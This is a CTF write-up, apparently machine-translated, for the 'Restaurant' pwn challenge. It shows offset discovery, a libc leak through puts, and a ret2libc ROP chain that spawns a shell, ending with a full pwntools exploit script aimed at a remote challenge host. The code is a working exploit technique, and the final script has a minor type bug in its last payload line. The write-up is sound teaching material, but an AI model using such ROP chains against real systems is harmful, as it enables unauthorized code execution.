This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Restaurant

leak libc & ret2libc

June 30, 20254 minutes

Offset

The first step is to get the offset, which can be done simply by generating a string with cyclic

pwndbg> cyclic
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Sending it in the second input overwrites several registers

 RBP  0x6161616161616165 ('eaaaaaaa')
 RSP  0x7fffffffe3f8 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
 RIP  0x400eec (fill+162) ◂— ret 

Unlike in 32 bits, if the address is not valid, the value of RIP doesn’t change.

So, to calculate the offset, knowing that on ret RIP takes the value pointed to by RSP, we can get the value of RSP (or RBP) and add 8 to it.

RSP

pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

RBP

pwndbg> cyclic -l eaaaaaaa
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32

Protections

pwndbg> checksec
File:     restaurant
Arch:     amd64
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3fe000)
RUNPATH:    b'.'
Stripped:   No

NX is enabled, so we can’t send shellcode and jump to it to run it.

An alternative when NX is enabled is a ret2libc to get a shell with system("/bin/sh")

Leak libc

To do the ret2libc we need the libc base address, which we can get by calling puts on the address of puts: puts(puts) To do this we need the addresses of puts.plt and puts.got, which we can get with:

puts_got = e.got['puts']
puts_plt = e.plt['puts']

The puts.got address has to be passed as an argument to puts.plt; since we are on 64 bits, the address has to be passed through rdi.

To change the value of RDI we need a gadget

~/Desktop/htb/challs/pwn/restaurant/pwn_restaurant$ ROPgadget --binary=restaurant | grep rdi
0x00000000004010a3 : pop rdi ; ret

With pop rdi; ret, rdi will take the value RSP points to and then it will ret, which suits us perfectly.

Finally, for the program to keep running, we need the address the program will jump to once libc is leaked; for example, we could use main to jump back to main.

main = e.symbols['main']

The order of the first payload would be

pop_rdi -> puts_got -> puts_plt -> main

payload = b'A' * rip_offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

r.sendlineafter('>',payload)

Looking at the response, it seems the address is being leaked correctly

To get that address we can do:

data = r.readline_contains("Enjoy")
leak = u64(data[-6:].ljust(8, b'\x00'))
info(f"Leak puts_got: {hex(leak)}")

Now, if we subtract the offset of puts, we get the libc base address

libc_base   = leak - libc.symbols['puts']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")
[*] Leak puts_got: 0x7ffff7e12da0
[*] Libc base: 0x7ffff7d92300

ret2libc

Once we have the libc base, we can do the ret2libc. To be able to run commands, we need the offsets of /bin/sh and system, and optionally the address of another part of the program or of exit, so the program doesn’t stop with a segmentation fault

sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
exit = libc.sym["exit"]

We don’t need to add the libc base, because earlier we set libc.address = libc_base, so pwntools already includes it in system, sh and exit

We also need a ret, which we can find with ROPgadget just like we did earlier with pop rdi

$ ROPgadget --binary=restaurant | grep ret
........
0x000000000040063e : ret
........

It’s important to remember that we pass /bin/sh to system as an argument, so we’ll use pop rdi again

Now all that’s left is to put it all together and send it

ret -> pop_rdi -> binsh -> system -> exit

ret = 0x40063e

payload = b"A" * rip_offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(sh)
payload += p64(system)
payload += p64(0x0)

r.sendlineafter('>', payload)

Final script

Enjoy your AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\x06@$ whoami
ctf
$ ls
flag.txt
libc.so.6
restaurant
run_challenge.sh
$  
#!/usr/bin/env python3

from pwn import *
import base64

e = ELF("./restaurant")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")


HOST = "94.237.60.55"
PORT = 38156
context.binary = e
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([e.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)

    return r


def main():
    r = conn()

    rbp_offset = 32
    rip_offset = 32 + 8

    r.sendlineafter('>', '1')

    pop_rdi_ret = 0x4010a3
    puts_got = e.got['puts']
    puts_plt = e.plt['puts']
    main = e.symbols['main']

    info(hex(puts_plt))
    info(hex(puts_got))
    info(hex(main))

    payload = b'A' * rip_offset
    payload += p64(pop_rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(main)

    r.sendlineafter('>',payload)
    data = r.readline_contains("Enjoy")
    info(base64.b64encode(data))

    leak = u64(data[-6:].ljust(8, b'\x00'))
    info(f"Leak puts_got: {hex(leak)}")

    libc_base   = leak - libc.symbols['puts']
    libc.address = libc_base
    info(f"Libc base: {hex(libc_base)}")

    r.sendlineafter('>', '1')

    sh = next(libc.search(b"/bin/sh"))
    system = libc.sym["system"]
    exit = libc.sym["exit"]

    ret = 0x40063e

    payload = b"A" * rip_offset
    payload += p64(ret)
    payload += p64(pop_rdi_ret)
    payload += p64(sh)
    payload += p64(system)
    payload += 0x00

    r.sendlineafter('>', payload)

    r.interactive()


if __name__ == "__main__":
    main()